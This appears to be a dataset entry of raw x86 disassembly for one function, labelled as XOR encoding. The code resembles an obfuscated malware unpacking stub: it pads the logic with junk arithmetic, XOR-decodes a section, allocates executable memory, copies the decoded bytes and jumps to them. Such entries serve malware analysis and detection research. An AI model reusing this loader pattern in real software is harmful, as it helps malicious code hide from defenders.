Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x660e361d
and esi, ebx
mov esi, 0xb41661de
or ebx, ebx
popal
sub esi, 1
and ebx, ebx
or ebx, esi
mov edx, 0
mov esi, edi
sub eax, 0x4a83f85e
inc ecx
add ecx, 0x7e708b3d
mov ebx, esi
add ecx, eax
inc eax
inc ecx
mov edi, ebx
sub eax, 0xaaf24a81
or ecx, eax
inc edx
sub eax, 0x542f7507
or eax, ecx
and eax, ecx
cmp edx, 0x100b1b3
jne 0xa789cb
or eax, eax
mov ecx, eax
add esi, ebx
add esi, 0xcc72b19d
mov esi, ebx
mov ecx, 0xa78796
mov eax, esi
sub eax, esi
or edi, eax
mov ebx, 0xa7898a
sub eax, 0x9aff22e2
mov eax, 0xad0e96ae
add esi, 0x106b74c3
mov edx, dword [ecx]
dec eax
or eax, esi
and edx, 0xff
add eax, esi
add eax, 0x92fe66c6
xor dword [ebx], edx
sub esi, eax
add edi, 0xa3041ed9
inc ebx
mov eax, 0xf2ae9f24
and eax, esi
inc ecx
and eax, esi
mov esi, edi
sub eax, esi
cmp ebx, entry0
jl 0xa78a30
sub eax, 0x1c6164cc
add eax, 1
dec edi
mov edi, esi
add edi, 0x4d6f20d8
or edi, ecx
mov ebx, 0xa7898e
sub esi, 0xfcd34626
sub edi, 0x3ba134b7
sub ecx, edi
mov ebx, dword [ebx]
mov ecx, 0x143cc98
add edx, esi
mov ebx, dword [ebx]
add edx, 0x801474e2
sub edi, 0x8b854e27
push ebx
dec edi
not esi
add ecx, 0xb9bf0cbd
mov ebx, 0xa7898a
sub esi, 0x501acf9d
sub edi, edx
mov ebx, dword [ebx]
or edi, edx
sub edx, 1
mov ebx, dword [ebx]
add edx, ecx
and edx, esi
mov esi, 0x662d5582
push 0xa78992
add edx, esi
and edx, edx
sub edi, esi
call ebx
sub esi, 0xd8e3b386
not edx
pop ebx
or edx, edi
add edx, edi
or edi, edi
sub esp, 4
mov dword [esp], 0xa7899f
mov ecx, edx
sub ecx, esi
add edi, edx
push eax
sub edx, esi
add edx, 0xc88d62e4
call ebx
sub esi, edx
or ecx, esi
sub esp, 4
mov dword [esp], 0x40
and ecx, esi
not edi
or edx, esi
push 0x3000
mov ecx, edi
add esi, 0xbb4ca522
sub ecx, 0x9fc7cd37
push 0x2000054e
mov ecx, 0x390ff90d
mov edx, 0x7b1c98d8
push 0
sub edx, 0x28fbe53e
add edx, 0x31d26afc
add edi, 0x3d0a88b5
call eax
or esi, ecx
add edx, 0xe1120008
and edx, edx
add eax, 0x200004dc
add edi, 0xaacc9a40
sub esi, 1
sub edx, ecx
mov ebx, 0x9b6045eb
mov edi, 0x5eec8f20
add esi, 1
mov dword [eax], ebx
sub edi, 1
dec edi
mov edx, edi
mov ebx, dword [eax]
mov edi, 0xfb63cad8
add esi, 1
cmp ebx, 0x9b6045eb
je 0xa78bb0
mov ecx, 0
mov byte [ecx], dl
and esi, edx
add ecx, edx
mov edx, 0x6dbe0cb8
dec ecx
sub esi, 1
mov ebx, 0x4e19bb2f
dec esi
mov eax, section..reltc
mov ebx, 0xcba7b54a
dec esi
mov ecx, 0xa78795
and esi, esi
mov esi, 0x5977f3b4
mov edi, 0
inc esi
not ebx
mov edx, 0xa78796
add esi, esi
add ebx, ebx
lea edx, [edx + edi]
mov ebx, esi
and esi, esi
sub ebx, 0xeaf35de8
mov edx, dword [edx]
not ebx
dec ebx
and edx, 0xff
or ebx, esi
sub esi, ebx
dec ebx
inc edi
sub esi, ebx
sub esi, 0x59ffc43c
and esi, esi
cmp edi, 0x1f4
jne 0xa78c23
mov edi, 0
mov ebx, 0xdf3a3e47
mov esi, 0x792eada0
mov ebx, esi
add ebx, esi
xor dword [eax], edx
add ebx, esi
dec esi
add eax, 2
mov ebx, 0x1efd4520
not esi
add esi, esi
cmp eax, ecx
jl 0xa78be5
mov esi, 0xdc5c9973
dec esi
mov ebx, esi
inc ebx
mov ebx, esi
sub ebx, esi
mov edi, section..reltc
or ebx, ecx
sub ecx, 0xe08ebdb
sub ebx, 1
mov edx, section..reltc
and ecx, ecx
add ebx, ebx
sub ecx, ebx
mov esi, 0xa78795
mov ecx, ebx
mov ebx, 0x2e85323f
mov eax, 0
sub ecx, 1
add ecx, ebx
mov ebx, ecx
mov al, byte [edx]
dec ecx
mov ecx, ebx
mov byte [edi], al
add ebx, 0x5bc645ab
add ecx, 0x43edbbeb
add ecx, 1
inc edi
add ebx, ecx
and ebx, ecx
add edx, 2
not ebx
add ebx, 0xeaa9947f
cmp edx, esi
jle 0xa78c93
or ecx, ecx
and ecx, ecx
sub ecx, 0xde98438b
or esi, esi
mov esi, 0xdfbc6852
sub ebx, esi
sub esp, 4
mov dword [esp], 0x8dc6a0
add ebx, 0x1237c59c
and ebx, ebx
or esi, esi
ret